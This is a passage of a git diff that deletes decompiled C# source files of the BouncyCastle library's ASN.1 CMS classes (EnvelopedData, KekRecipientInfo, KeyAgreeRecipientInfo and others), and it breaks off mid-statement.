MQVuserKeyingMaterial((Asn1Sequence)obj); - } - throw new ArgumentException("Invalid MQVuserKeyingMaterial: " + Platform.GetTypeName(obj)); - } - - public override Asn1Object ToAsn1Object() - { - Asn1EncodableVector asn1EncodableVector = new Asn1EncodableVector(ephemeralPublicKey); - if (addedukm != null) - { - asn1EncodableVector.Add(new DerTaggedObject(explicitly: true, 0, addedukm)); - } - return new DerSequence(asn1EncodableVector); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Cms/EncryptedContentInfo.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Cms/EncryptedContentInfo.cs deleted file mode 100644 index d6943aa..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Cms/EncryptedContentInfo.cs +++ /dev/null @@ -1,60 +0,0 @@ -using System; -using Org.BouncyCastle.Asn1.X509; -using Org.BouncyCastle.Utilities; - -namespace Org.BouncyCastle.Asn1.Cms; - -public class EncryptedContentInfo : Asn1Encodable -{ - private DerObjectIdentifier contentType; - - private AlgorithmIdentifier contentEncryptionAlgorithm; - - private Asn1OctetString encryptedContent; - - public DerObjectIdentifier ContentType => contentType; - - public AlgorithmIdentifier ContentEncryptionAlgorithm => contentEncryptionAlgorithm; - - public Asn1OctetString EncryptedContent => encryptedContent; - - public EncryptedContentInfo(DerObjectIdentifier contentType, AlgorithmIdentifier contentEncryptionAlgorithm, Asn1OctetString encryptedContent) - { - this.contentType = contentType; - this.contentEncryptionAlgorithm = contentEncryptionAlgorithm; - this.encryptedContent = encryptedContent; - } - - public EncryptedContentInfo(Asn1Sequence seq) - { - contentType = (DerObjectIdentifier)seq[0]; - contentEncryptionAlgorithm = AlgorithmIdentifier.GetInstance(seq[1]); - if (seq.Count > 2) - { - encryptedContent = Asn1OctetString.GetInstance((Asn1TaggedObject)seq[2], isExplicit: false); - } - } - - public static EncryptedContentInfo GetInstance(object obj) - { - if (obj == null || obj is EncryptedContentInfo) - { - return (EncryptedContentInfo)obj; - } - if (obj is Asn1Sequence) - { - return new EncryptedContentInfo((Asn1Sequence)obj); - } - throw new ArgumentException("Invalid EncryptedContentInfo: " + Platform.GetTypeName(obj)); - } - - public override Asn1Object ToAsn1Object() - { - Asn1EncodableVector asn1EncodableVector = new Asn1EncodableVector(contentType, contentEncryptionAlgorithm); - if (encryptedContent != null) - { - asn1EncodableVector.Add(new BerTaggedObject(explicitly: false, 0, encryptedContent)); - } - return new BerSequence(asn1EncodableVector); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Cms/EncryptedContentInfoParser.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Cms/EncryptedContentInfoParser.cs deleted file mode 100644 index b70a942..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Cms/EncryptedContentInfoParser.cs +++ /dev/null @@ -1,28 +0,0 @@ -using Org.BouncyCastle.Asn1.X509; - -namespace Org.BouncyCastle.Asn1.Cms; - -public class EncryptedContentInfoParser -{ - private DerObjectIdentifier _contentType; - - private AlgorithmIdentifier _contentEncryptionAlgorithm; - - private Asn1TaggedObjectParser _encryptedContent; - - public DerObjectIdentifier ContentType => _contentType; - - public AlgorithmIdentifier ContentEncryptionAlgorithm => _contentEncryptionAlgorithm; - - public EncryptedContentInfoParser(Asn1SequenceParser seq) - { - _contentType = (DerObjectIdentifier)seq.ReadObject(); - _contentEncryptionAlgorithm = AlgorithmIdentifier.GetInstance(seq.ReadObject().ToAsn1Object()); - _encryptedContent = (Asn1TaggedObjectParser)seq.ReadObject(); - } - - public IAsn1Convertible GetEncryptedContent(int tag) - { - return _encryptedContent.GetObjectParser(tag, isExplicit: false); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Cms/EncryptedData.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Cms/EncryptedData.cs deleted file mode 100644 index 06bad86..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Cms/EncryptedData.cs +++ /dev/null @@ -1,76 +0,0 @@ -using System; -using Org.BouncyCastle.Utilities; - -namespace Org.BouncyCastle.Asn1.Cms; - -public class EncryptedData : Asn1Encodable -{ - private readonly DerInteger version; - - private readonly EncryptedContentInfo encryptedContentInfo; - - private readonly Asn1Set unprotectedAttrs; - - public virtual DerInteger Version => version; - - public virtual EncryptedContentInfo EncryptedContentInfo => encryptedContentInfo; - - public virtual Asn1Set UnprotectedAttrs => unprotectedAttrs; - - public static EncryptedData GetInstance(object obj) - { - if (obj is EncryptedData) - { - return (EncryptedData)obj; - } - if (obj is Asn1Sequence) - { - return new EncryptedData((Asn1Sequence)obj); - } - throw new ArgumentException("Invalid EncryptedData: " + Platform.GetTypeName(obj)); - } - - public EncryptedData(EncryptedContentInfo encInfo) - : this(encInfo, null) - { - } - - public EncryptedData(EncryptedContentInfo encInfo, Asn1Set unprotectedAttrs) - { - if (encInfo == null) - { - throw new ArgumentNullException("encInfo"); - } - version = new DerInteger((unprotectedAttrs != null) ? 2 : 0); - encryptedContentInfo = encInfo; - this.unprotectedAttrs = unprotectedAttrs; - } - - private EncryptedData(Asn1Sequence seq) - { - if (seq == null) - { - throw new ArgumentNullException("seq"); - } - if (seq.Count < 2 || seq.Count > 3) - { - throw new ArgumentException("Bad sequence size: " + seq.Count, "seq"); - } - version = DerInteger.GetInstance(seq[0]); - encryptedContentInfo = EncryptedContentInfo.GetInstance(seq[1]); - if (seq.Count > 2) - { - unprotectedAttrs = Asn1Set.GetInstance((Asn1TaggedObject)seq[2], explicitly: false); - } - } - - public override Asn1Object ToAsn1Object() - { - Asn1EncodableVector asn1EncodableVector = new Asn1EncodableVector(version, encryptedContentInfo); - if (unprotectedAttrs != null) - { - asn1EncodableVector.Add(new BerTaggedObject(explicitly: false, 1, unprotectedAttrs)); - } - return new BerSequence(asn1EncodableVector); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Cms/EnvelopedData.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Cms/EnvelopedData.cs deleted file mode 100644 index 7c54830..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Cms/EnvelopedData.cs +++ /dev/null @@ -1,113 +0,0 @@ -using System; - -namespace Org.BouncyCastle.Asn1.Cms; - -public class EnvelopedData : Asn1Encodable -{ - private DerInteger version; - - private OriginatorInfo originatorInfo; - - private Asn1Set recipientInfos; - - private EncryptedContentInfo encryptedContentInfo; - - private Asn1Set unprotectedAttrs; - - public DerInteger Version => version; - - public OriginatorInfo OriginatorInfo => originatorInfo; - - public Asn1Set RecipientInfos => recipientInfos; - - public EncryptedContentInfo EncryptedContentInfo => encryptedContentInfo; - - public Asn1Set UnprotectedAttrs => unprotectedAttrs; - - public EnvelopedData(OriginatorInfo originatorInfo, Asn1Set recipientInfos, EncryptedContentInfo encryptedContentInfo, Asn1Set unprotectedAttrs) - { - version = new DerInteger(CalculateVersion(originatorInfo, recipientInfos, unprotectedAttrs)); - this.originatorInfo = originatorInfo; - this.recipientInfos = recipientInfos; - this.encryptedContentInfo = encryptedContentInfo; - this.unprotectedAttrs = unprotectedAttrs; - } - - public EnvelopedData(OriginatorInfo originatorInfo, Asn1Set recipientInfos, EncryptedContentInfo encryptedContentInfo, Attributes unprotectedAttrs) - { - version = new DerInteger(CalculateVersion(originatorInfo, recipientInfos, Asn1Set.GetInstance(unprotectedAttrs))); - this.originatorInfo = originatorInfo; - this.recipientInfos = recipientInfos; - this.encryptedContentInfo = encryptedContentInfo; - this.unprotectedAttrs = Asn1Set.GetInstance(unprotectedAttrs); - } - - [Obsolete("Use 'GetInstance' instead")] - public EnvelopedData(Asn1Sequence seq) - { - int num = 0; - version = (DerInteger)seq[num++]; - object obj = seq[num++]; - if (obj is Asn1TaggedObject) - { - originatorInfo = OriginatorInfo.GetInstance((Asn1TaggedObject)obj, explicitly: false); - obj = seq[num++]; - } - recipientInfos = Asn1Set.GetInstance(obj); - encryptedContentInfo = EncryptedContentInfo.GetInstance(seq[num++]); - if (seq.Count > num) - { - unprotectedAttrs = Asn1Set.GetInstance((Asn1TaggedObject)seq[num], explicitly: false); - } - } - - public static EnvelopedData GetInstance(Asn1TaggedObject obj, bool explicitly) - { - return GetInstance(Asn1Sequence.GetInstance(obj, explicitly)); - } - - public static EnvelopedData GetInstance(object obj) - { - if (obj is EnvelopedData) - { - return (EnvelopedData)obj; - } - if (obj == null) - { - return null; - } - return new EnvelopedData(Asn1Sequence.GetInstance(obj)); - } - - public override Asn1Object ToAsn1Object() - { - Asn1EncodableVector asn1EncodableVector = new Asn1EncodableVector(version); - if (originatorInfo != null) - { - asn1EncodableVector.Add(new DerTaggedObject(explicitly: false, 0, originatorInfo)); - } - asn1EncodableVector.Add(recipientInfos, encryptedContentInfo); - if (unprotectedAttrs != null) - { - asn1EncodableVector.Add(new DerTaggedObject(explicitly: false, 1, unprotectedAttrs)); - } - return new BerSequence(asn1EncodableVector); - } - - public static int CalculateVersion(OriginatorInfo originatorInfo, Asn1Set recipientInfos, Asn1Set unprotectedAttrs) - { - if (originatorInfo != null || unprotectedAttrs != null) - { - return 2; - } - foreach (object recipientInfo in recipientInfos) - { - RecipientInfo instance = RecipientInfo.GetInstance(recipientInfo); - if (instance.Version.Value.IntValue != 0) - { - return 2; - } - } - return 0; - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Cms/EnvelopedDataParser.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Cms/EnvelopedDataParser.cs deleted file mode 100644 index cf25e04..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Cms/EnvelopedDataParser.cs +++ /dev/null @@ -1,81 +0,0 @@ -namespace Org.BouncyCastle.Asn1.Cms; - -public class EnvelopedDataParser -{ - private Asn1SequenceParser _seq; - - private DerInteger _version; - - private IAsn1Convertible _nextObject; - - private bool _originatorInfoCalled; - - public DerInteger Version => _version; - - public EnvelopedDataParser(Asn1SequenceParser seq) - { - _seq = seq; - _version = (DerInteger)seq.ReadObject(); - } - - public OriginatorInfo GetOriginatorInfo() - { - _originatorInfoCalled = true; - if (_nextObject == null) - { - _nextObject = _seq.ReadObject(); - } - if (_nextObject is Asn1TaggedObjectParser && ((Asn1TaggedObjectParser)_nextObject).TagNo == 0) - { - Asn1SequenceParser asn1SequenceParser = (Asn1SequenceParser)((Asn1TaggedObjectParser)_nextObject).GetObjectParser(16, isExplicit: false); - _nextObject = null; - return OriginatorInfo.GetInstance(asn1SequenceParser.ToAsn1Object()); - } - return null; - } - - public Asn1SetParser GetRecipientInfos() - { - if (!_originatorInfoCalled) - { - GetOriginatorInfo(); - } - if (_nextObject == null) - { - _nextObject = _seq.ReadObject(); - } - Asn1SetParser result = (Asn1SetParser)_nextObject; - _nextObject = null; - return result; - } - - public EncryptedContentInfoParser GetEncryptedContentInfo() - { - if (_nextObject == null) - { - _nextObject = _seq.ReadObject(); - } - if (_nextObject != null) - { - Asn1SequenceParser seq = (Asn1SequenceParser)_nextObject; - _nextObject = null; - return new EncryptedContentInfoParser(seq); - } - return null; - } - - public Asn1SetParser GetUnprotectedAttrs() - { - if (_nextObject == null) - { - _nextObject = _seq.ReadObject(); - } - if (_nextObject != null) - { - IAsn1Convertible nextObject = _nextObject; - _nextObject = null; - return (Asn1SetParser)((Asn1TaggedObjectParser)nextObject).GetObjectParser(17, isExplicit: false); - } - return null; - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Cms/Evidence.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Cms/Evidence.cs deleted file mode 100644 index 93da5b1..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Cms/Evidence.cs +++ /dev/null @@ -1,46 +0,0 @@ -using System; -using Org.BouncyCastle.Utilities; - -namespace Org.BouncyCastle.Asn1.Cms; - -public class Evidence : Asn1Encodable, IAsn1Choice -{ - private TimeStampTokenEvidence tstEvidence; - - public virtual TimeStampTokenEvidence TstEvidence => tstEvidence; - - public Evidence(TimeStampTokenEvidence tstEvidence) - { - this.tstEvidence = tstEvidence; - } - - private Evidence(Asn1TaggedObject tagged) - { - if (tagged.TagNo == 0) - { - tstEvidence = TimeStampTokenEvidence.GetInstance(tagged, isExplicit: false); - } - } - - public static Evidence GetInstance(object obj) - { - if (obj is Evidence) - { - return (Evidence)obj; - } - if (obj is Asn1TaggedObject) - { - return new Evidence(Asn1TaggedObject.GetInstance(obj)); - } - throw new ArgumentException("Unknown object in GetInstance: " + Platform.GetTypeName(obj), "obj"); - } - - public override Asn1Object ToAsn1Object() - { - if (tstEvidence != null) - { - return new DerTaggedObject(explicitly: false, 0, tstEvidence); - } - return null; - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Cms/IssuerAndSerialNumber.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Cms/IssuerAndSerialNumber.cs deleted file mode 100644 index 7806c46..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Cms/IssuerAndSerialNumber.cs +++ /dev/null @@ -1,53 +0,0 @@ -using System; -using Org.BouncyCastle.Asn1.X509; -using Org.BouncyCastle.Math; - -namespace Org.BouncyCastle.Asn1.Cms; - -public class IssuerAndSerialNumber : Asn1Encodable -{ - private X509Name name; - - private DerInteger serialNumber; - - public X509Name Name => name; - - public DerInteger SerialNumber => serialNumber; - - public static IssuerAndSerialNumber GetInstance(object obj) - { - if (obj == null) - { - return null; - } - if (obj is IssuerAndSerialNumber result) - { - return result; - } - return new IssuerAndSerialNumber(Asn1Sequence.GetInstance(obj)); - } - - [Obsolete("Use GetInstance() instead")] - public IssuerAndSerialNumber(Asn1Sequence seq) - { - name = X509Name.GetInstance(seq[0]); - serialNumber = (DerInteger)seq[1]; - } - - public IssuerAndSerialNumber(X509Name name, BigInteger serialNumber) - { - this.name = name; - this.serialNumber = new DerInteger(serialNumber); - } - - public IssuerAndSerialNumber(X509Name name, DerInteger serialNumber) - { - this.name = name; - this.serialNumber = serialNumber; - } - - public override Asn1Object ToAsn1Object() - { - return new DerSequence(name, serialNumber); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Cms/KekIdentifier.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Cms/KekIdentifier.cs deleted file mode 100644 index ccb5684..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Cms/KekIdentifier.cs +++ /dev/null @@ -1,77 +0,0 @@ -using System; -using Org.BouncyCastle.Utilities; - -namespace Org.BouncyCastle.Asn1.Cms; - -public class KekIdentifier : Asn1Encodable -{ - private Asn1OctetString keyIdentifier; - - private DerGeneralizedTime date; - - private OtherKeyAttribute other; - - public Asn1OctetString KeyIdentifier => keyIdentifier; - - public DerGeneralizedTime Date => date; - - public OtherKeyAttribute Other => other; - - public KekIdentifier(byte[] keyIdentifier, DerGeneralizedTime date, OtherKeyAttribute other) - { - this.keyIdentifier = new DerOctetString(keyIdentifier); - this.date = date; - this.other = other; - } - - public KekIdentifier(Asn1Sequence seq) - { - keyIdentifier = (Asn1OctetString)seq[0]; - switch (seq.Count) - { - case 2: - if (seq[1] is DerGeneralizedTime) - { - date = (DerGeneralizedTime)seq[1]; - } - else - { - other = OtherKeyAttribute.GetInstance(seq[2]); - } - break; - case 3: - date = (DerGeneralizedTime)seq[1]; - other = OtherKeyAttribute.GetInstance(seq[2]); - break; - default: - throw new ArgumentException("Invalid KekIdentifier"); - case 1: - break; - } - } - - public static KekIdentifier GetInstance(Asn1TaggedObject obj, bool explicitly) - { - return GetInstance(Asn1Sequence.GetInstance(obj, explicitly)); - } - - public static KekIdentifier GetInstance(object obj) - { - if (obj == null || obj is KekIdentifier) - { - return (KekIdentifier)obj; - } - if (obj is Asn1Sequence) - { - return new KekIdentifier((Asn1Sequence)obj); - } - throw new ArgumentException("Invalid KekIdentifier: " + Platform.GetTypeName(obj)); - } - - public override Asn1Object ToAsn1Object() - { - Asn1EncodableVector asn1EncodableVector = new Asn1EncodableVector(keyIdentifier); - asn1EncodableVector.AddOptional(date, other); - return new DerSequence(asn1EncodableVector); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Cms/KekRecipientInfo.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Cms/KekRecipientInfo.cs deleted file mode 100644 index 9b9f0db..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Cms/KekRecipientInfo.cs +++ /dev/null @@ -1,63 +0,0 @@ -using System; -using Org.BouncyCastle.Asn1.X509; -using Org.BouncyCastle.Utilities; - -namespace Org.BouncyCastle.Asn1.Cms; - -public class KekRecipientInfo : Asn1Encodable -{ - private DerInteger version; - - private KekIdentifier kekID; - - private AlgorithmIdentifier keyEncryptionAlgorithm; - - private Asn1OctetString encryptedKey; - - public DerInteger Version => version; - - public KekIdentifier KekID => kekID; - - public AlgorithmIdentifier KeyEncryptionAlgorithm => keyEncryptionAlgorithm; - - public Asn1OctetString EncryptedKey => encryptedKey; - - public KekRecipientInfo(KekIdentifier kekID, AlgorithmIdentifier keyEncryptionAlgorithm, Asn1OctetString encryptedKey) - { - version = new DerInteger(4); - this.kekID = kekID; - this.keyEncryptionAlgorithm = keyEncryptionAlgorithm; - this.encryptedKey = encryptedKey; - } - - public KekRecipientInfo(Asn1Sequence seq) - { - version = (DerInteger)seq[0]; - kekID = KekIdentifier.GetInstance(seq[1]); - keyEncryptionAlgorithm = AlgorithmIdentifier.GetInstance(seq[2]); - encryptedKey = (Asn1OctetString)seq[3]; - } - - public static KekRecipientInfo GetInstance(Asn1TaggedObject obj, bool explicitly) - { - return GetInstance(Asn1Sequence.GetInstance(obj, explicitly)); - } - - public static KekRecipientInfo GetInstance(object obj) - { - if (obj == null || obj is KekRecipientInfo) - { - return (KekRecipientInfo)obj; - } - if (obj is Asn1Sequence) - { - return new KekRecipientInfo((Asn1Sequence)obj); - } - throw new ArgumentException("Invalid KekRecipientInfo: " + Platform.GetTypeName(obj)); - } - - public override Asn1Object ToAsn1Object() - { - return new DerSequence(version, kekID, keyEncryptionAlgorithm, encryptedKey); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Cms/KeyAgreeRecipientIdentifier.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Cms/KeyAgreeRecipientIdentifier.cs deleted file mode 100644 index 94127f7..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Cms/KeyAgreeRecipientIdentifier.cs +++ /dev/null @@ -1,56 +0,0 @@ -using System; -using Org.BouncyCastle.Utilities; - -namespace Org.BouncyCastle.Asn1.Cms; - -public class KeyAgreeRecipientIdentifier : Asn1Encodable, IAsn1Choice -{ - private readonly IssuerAndSerialNumber issuerSerial; - - private readonly RecipientKeyIdentifier rKeyID; - - public IssuerAndSerialNumber IssuerAndSerialNumber => issuerSerial; - - public RecipientKeyIdentifier RKeyID => rKeyID; - - public static KeyAgreeRecipientIdentifier GetInstance(Asn1TaggedObject obj, bool isExplicit) - { - return GetInstance(Asn1Sequence.GetInstance(obj, isExplicit)); - } - - public static KeyAgreeRecipientIdentifier GetInstance(object obj) - { - if (obj == null || obj is KeyAgreeRecipientIdentifier) - { - return (KeyAgreeRecipientIdentifier)obj; - } - if (obj is Asn1Sequence) - { - return new KeyAgreeRecipientIdentifier(IssuerAndSerialNumber.GetInstance(obj)); - } - if (obj is Asn1TaggedObject && ((Asn1TaggedObject)obj).TagNo == 0) - { - return new KeyAgreeRecipientIdentifier(RecipientKeyIdentifier.GetInstance((Asn1TaggedObject)obj, explicitly: false)); - } - throw new ArgumentException("Invalid KeyAgreeRecipientIdentifier: " + Platform.GetTypeName(obj), "obj"); - } - - public KeyAgreeRecipientIdentifier(IssuerAndSerialNumber issuerSerial) - { - this.issuerSerial = issuerSerial; - } - - public KeyAgreeRecipientIdentifier(RecipientKeyIdentifier rKeyID) - { - this.rKeyID = rKeyID; - } - - public override Asn1Object ToAsn1Object() - { - if (issuerSerial != null) - { - return issuerSerial.ToAsn1Object(); - } - return new DerTaggedObject(explicitly: false, 0, rKeyID); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Cms/KeyAgreeRecipientInfo.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Cms/KeyAgreeRecipientInfo.cs deleted file mode 100644 index 337c38a..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Cms/KeyAgreeRecipientInfo.cs +++ /dev/null @@ -1,79 +0,0 @@ -using System; -using Org.BouncyCastle.Asn1.X509; -using Org.BouncyCastle.Utilities; - -namespace Org.BouncyCastle.Asn1.Cms; - -public class KeyAgreeRecipientInfo : Asn1Encodable -{ - private DerInteger version; - - private OriginatorIdentifierOrKey originator; - - private Asn1OctetString ukm; - - private AlgorithmIdentifier keyEncryptionAlgorithm; - - private Asn1Sequence recipientEncryptedKeys; - - public DerInteger Version => version; - - public OriginatorIdentifierOrKey Originator => originator; - - public Asn1OctetString UserKeyingMaterial => ukm; - - public AlgorithmIdentifier KeyEncryptionAlgorithm => keyEncryptionAlgorithm; - - public Asn1Sequence RecipientEncryptedKeys => recipientEncryptedKeys; - - public KeyAgreeRecipientInfo(OriginatorIdentifierOrKey originator, Asn1OctetString ukm, AlgorithmIdentifier keyEncryptionAlgorithm, Asn1Sequence recipientEncryptedKeys) - { - version = new DerInteger(3); - this.originator = originator; - this.ukm = ukm; - this.keyEncryptionAlgorithm = keyEncryptionAlgorithm; - this.recipientEncryptedKeys = recipientEncryptedKeys; - } - - public KeyAgreeRecipientInfo(Asn1Sequence seq) - { - int index = 0; - version = (DerInteger)seq[index++]; - originator = OriginatorIdentifierOrKey.GetInstance((Asn1TaggedObject)seq[index++], explicitly: true); - if (seq[index] is Asn1TaggedObject) - { - ukm = Asn1OctetString.GetInstance((Asn1TaggedObject)seq[index++], isExplicit: true); - } - keyEncryptionAlgorithm = AlgorithmIdentifier.GetInstance(seq[index++]); - recipientEncryptedKeys = (Asn1Sequence)seq[index++]; - } - - public static KeyAgreeRecipientInfo GetInstance(Asn1TaggedObject obj, bool explicitly) - { - return GetInstance(Asn1Sequence.GetInstance(obj, explicitly)); - } - - public static KeyAgreeRecipientInfo GetInstance(object obj) - { - if (obj == null || obj is KeyAgreeRecipientInfo) - { - return (KeyAgreeRecipientInfo)obj; - } - if (obj is Asn1Sequence) - { - return new KeyAgreeRecipientInfo((Asn1Sequence)obj); - } - throw new ArgumentException("Illegal object in KeyAgreeRecipientInfo: " + Platform.GetTypeName(obj)); - } - - public override Asn1Object ToAsn1Object() - { - Asn1EncodableVector asn1EncodableVector = new Asn1EncodableVector(version, new DerTaggedObject(explicitly: true, 0, originator)); - if (ukm != null) - { - asn1EncodableVector.Add(new DerTaggedObject(explicitly: true, 1, ukm)); - } - asn1EncodableVector.Add(keyEncryptionAlgorithm, recipientEncryptedKeys); - return new DerSequence(asn1EncodableVector); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Cms/KeyTransRecipientInfo.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Cms/KeyTransRecipientInfo.cs deleted file mode 100644 index 4f4508a..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Cms/KeyTransRecipientInfo.cs +++ /dev/null @@ -1,65 +0,0 @@ -using System; -using Org.BouncyCastle.Asn1.X509; -using Org.BouncyCastle.Utilities; - -namespace Org.BouncyCastle.Asn1.Cms; - -public class KeyTransRecipientInfo : Asn1Encodable -{ - private DerInteger version; - - private RecipientIdentifier rid; - - private AlgorithmIdentifier keyEncryptionAlgorithm; - - private Asn1OctetString encryptedKey; - - public DerInteger Version => version; - - public RecipientIdentifier RecipientIdentifier => rid; - - public AlgorithmIdentifier KeyEncryptionAlgorithm => keyEncryptionAlgorithm; - - public Asn1OctetString EncryptedKey => encryptedKey; - - public KeyTransRecipientInfo(RecipientIdentifier rid, AlgorithmIdentifier keyEncryptionAlgorithm, Asn1OctetString encryptedKey) - { - if (rid.ToAsn1Object() is Asn1TaggedObject) - { - version = new DerInteger(2); - } - else - { - version = new DerInteger(0); - } - this.rid = rid; - this.keyEncryptionAlgorithm = keyEncryptionAlgorithm; - this.encryptedKey = encryptedKey; - } - - public KeyTransRecipientInfo(Asn1Sequence seq) - { - version = (DerInteger)seq[0]; - rid = RecipientIdentifier.GetInstance(seq[1]); - keyEncryptionAlgorithm = AlgorithmIdentifier.GetInstance(seq[2]); - encryptedKey = (Asn1OctetString)seq[3]; - } - - public static KeyTransRecipientInfo GetInstance(object obj) - { - if (obj == null || obj is KeyTransRecipientInfo) - { - return (KeyTransRecipientInfo)obj; - } - if (obj is Asn1Sequence) - { - return new KeyTransRecipientInfo((Asn1Sequence)obj); - } - throw new ArgumentException("Illegal object in KeyTransRecipientInfo: " + Platform.GetTypeName(obj)); - } - - public override Asn1Object ToAsn1Object() - { - return new DerSequence(version, rid, keyEncryptionAlgorithm, encryptedKey); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Cms/MetaData.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Cms/MetaData.cs deleted file mode 100644 index 8afd6d3..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Cms/MetaData.cs +++ /dev/null @@ -1,66 +0,0 @@ -namespace Org.BouncyCastle.Asn1.Cms; - -public class MetaData : Asn1Encodable -{ - private DerBoolean hashProtected; - - private DerUtf8String fileName; - - private DerIA5String mediaType; - - private Attributes otherMetaData; - - public virtual bool IsHashProtected => hashProtected.IsTrue; - - public virtual DerUtf8String FileName => fileName; - - public virtual DerIA5String MediaType => mediaType; - - public virtual Attributes OtherMetaData => otherMetaData; - - public MetaData(DerBoolean hashProtected, DerUtf8String fileName, DerIA5String mediaType, Attributes otherMetaData) - { - this.hashProtected = hashProtected; - this.fileName = fileName; - this.mediaType = mediaType; - this.otherMetaData = otherMetaData; - } - - private MetaData(Asn1Sequence seq) - { - hashProtected = DerBoolean.GetInstance(seq[0]); - int num = 1; - if (num < seq.Count && seq[num] is DerUtf8String) - { - fileName = DerUtf8String.GetInstance(seq[num++]); - } - if (num < seq.Count && seq[num] is DerIA5String) - { - mediaType = DerIA5String.GetInstance(seq[num++]); - } - if (num < seq.Count) - { - otherMetaData = Attributes.GetInstance(seq[num++]); - } - } - - public static MetaData GetInstance(object obj) - { - if (obj is MetaData) - { - return (MetaData)obj; - } - if (obj != null) - { - return new MetaData(Asn1Sequence.GetInstance(obj)); - } - return null; - } - - public override Asn1Object ToAsn1Object() - { - Asn1EncodableVector asn1EncodableVector = new Asn1EncodableVector(hashProtected); - asn1EncodableVector.AddOptional(fileName, mediaType, otherMetaData); - return new DerSequence(asn1EncodableVector); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Cms/OriginatorIdentifierOrKey.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Cms/OriginatorIdentifierOrKey.cs deleted file mode 100644 index 3ed4d65..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Cms/OriginatorIdentifierOrKey.cs +++ /dev/null @@ -1,122 +0,0 @@ -using System; -using Org.BouncyCastle.Asn1.X509; -using Org.BouncyCastle.Utilities; - -namespace Org.BouncyCastle.Asn1.Cms; - -public class OriginatorIdentifierOrKey : Asn1Encodable, IAsn1Choice -{ - private Asn1Encodable id; - - public Asn1Encodable ID => id; - - public IssuerAndSerialNumber IssuerAndSerialNumber - { - get - { - if (id is IssuerAndSerialNumber) - { - return (IssuerAndSerialNumber)id; - } - return null; - } - } - - public SubjectKeyIdentifier SubjectKeyIdentifier - { - get - { - if (id is Asn1TaggedObject && ((Asn1TaggedObject)id).TagNo == 0) - { - return SubjectKeyIdentifier.GetInstance((Asn1TaggedObject)id, explicitly: false); - } - return null; - } - } - - [Obsolete("Use 'OriginatorPublicKey' property")] - public OriginatorPublicKey OriginatorKey => OriginatorPublicKey; - - public OriginatorPublicKey OriginatorPublicKey - { - get - { - if (id is Asn1TaggedObject && ((Asn1TaggedObject)id).TagNo == 1) - { - return OriginatorPublicKey.GetInstance((Asn1TaggedObject)id, explicitly: false); - } - return null; - } - } - - public OriginatorIdentifierOrKey(IssuerAndSerialNumber id) - { - this.id = id; - } - - [Obsolete("Use version taking a 'SubjectKeyIdentifier'")] - public OriginatorIdentifierOrKey(Asn1OctetString id) - : this(new SubjectKeyIdentifier(id)) - { - } - - public OriginatorIdentifierOrKey(SubjectKeyIdentifier id) - { - this.id = new DerTaggedObject(explicitly: false, 0, id); - } - - public OriginatorIdentifierOrKey(OriginatorPublicKey id) - { - this.id = new DerTaggedObject(explicitly: false, 1, id); - } - - [Obsolete("Use more specific version")] - public OriginatorIdentifierOrKey(Asn1Object id) - { - this.id = id; - } - - private OriginatorIdentifierOrKey(Asn1TaggedObject id) - { - this.id = id; - } - - public static OriginatorIdentifierOrKey GetInstance(Asn1TaggedObject o, bool explicitly) - { - if (!explicitly) - { - throw new 